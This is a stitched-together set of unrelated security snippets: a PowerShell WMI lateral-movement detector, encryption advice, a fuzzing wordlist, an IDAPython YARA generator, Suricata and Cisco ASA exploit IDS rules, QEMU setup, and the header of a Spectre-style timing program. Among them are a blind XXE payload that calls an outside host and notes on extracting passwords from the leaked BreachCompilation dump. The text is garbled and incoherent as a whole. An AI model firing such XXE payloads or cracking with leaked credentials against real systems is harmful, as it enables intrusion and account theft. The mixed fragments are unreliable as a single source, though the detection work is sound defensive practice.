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#region Scriptblocks that will execute upon alert trigger
$LateralMovementDetected = {
    $Event = $EventArgs.NewEvent

    $EventTime = [DateTime]::FromFileTime($Event.TIME_CREATED)

    $MethodName = $Event.MethodName
    $Namespace = $Event.Namespace
    $Object = $Event.ObjectPath
    $User = $Event.User

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Symmetric Encryption

The only way to encrypt today is authenticated encryption, or "AEAD". ChaCha20-Poly1305 is faster in software than AES-GCM. AES-GCM will be faster than ChaCha20-Poly1305 with AES-NI. Poly1305 is also easier than GCM for library designers to implement safely. AES-GCM is the industry standard.

Use, in order of preference:

1. The NaCl/libsodium default

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@
*
0
00
0-0
000
0000
00000
000000

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'''
IDAPython script that generates a YARA rule to match against the
basic blocks of the current function. It masks out relocation bytes
and ignores jump instructions (given that we're already trying to
match compiler-specific bytes, this is of arguable benefit).

If python-yara is installed, the IDAPython script also validates that
the generated rule matches at least one segment in the current file.

author: Willi Ballenthin <[email protected]>

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--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

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alert tcp any any -> any !80 (msg:"SURICATA HTTP on unusual port"; flow:to_server; app-layer-protocol:http; threshold: type limit, track by_src, seconds 60, count 1; sid:2271001; rev:1;)
alert tcp any any -> any 80 (msg:"SURICATA non-HTTP on TCP port 80"; flow:to_server; app-layer-protocol:!http; threshold: type limit, track by_src, seconds 60, count 1; sid:2271002; rev:1;)

alert tcp any any -> any ![443,465,587] (msg:"SURICATA TLS on unusual port"; flow:to_server; app-layer-protocol:tls; threshold: type limit, track by_src, seconds 60, count 1; sid:2271004; rev:1;)
alert tcp any any -> any [443,465] (msg:"SURICATA non-TLS on TLS port"; flow:to_server; app-layer-protocol:!tls; threshold: type limit, track by_src, seconds 60, count 1; sid:2271003; rev:1;)

alert tcp any any -> any ![20,21] (msg:"SURICATA FTP on unusual TCP port"; flow:to_server; app-layer-protocol:ftp; threshold: type limit, track by_src, seconds 60, count 1; sid:2271005; rev:1;)
alert tcp any any -> any [20,21] (msg:"SURICATA non-FTP on TCP 

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wordlist created from original 41G stash via:

grep -rohP '(?<=:).*$' | uniq > breachcompilation.txt

Then, compressed with:

7z a breachcompilation.txt.7z breachcompilation.txt

Size:

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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

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# Install QEMU OSX port with ARM support
sudo port install qemu +target_arm
export QEMU=$(which qemu-system-arm)

# Dowload kernel and export location
curl -OL \
https://github.com/dhruvvyas90/qemu-rpi-kernel/blob/master/kernel-qemu-4.1.7-jessie
export RPI_KERNEL=./kernel-qemu-4.1.7-jessie

# Download filesystem and export location

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# IDS signatures for https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1:
alert udp any any -> any 500 (msg:"FOX-SRT - Suspicious - Possible Fragmented Cisco IKE/isakmp Packet HeapSpray (CVE-2018-0101)"; flow:to_server; content:"|84|"; offset:16; depth:1; content:"|02 08 |"; distance:1; within:2; fast_pattern; byte_test:4,>,5000,4,relative; byte_test:2,>,5000,10,relative; byte_extract:4,36,fragment_match; byte_test:4,=,fragment_match,52,relative; byte_test:4,=,fragment_match,136,relative; byte_test:4,=,fragment_match,236,relative; threshold:type limit, track by_dst, count 1, seconds 600;  classtype:attempted-admin; sid:21002339; rev:4;)
alert udp any any -> any 500 (msg:"FOX-SRT - Exploit - Possible Shellcode in Cisco IKE/isakmp - tcp/CONNECT/"; content:"tcp/CONNECT/"; fast_pattern:only; threshold:type limit, track by_src, count 1, seconds 600; priority:1; classtype:attempted-admin; sid:21002340; rev:2;)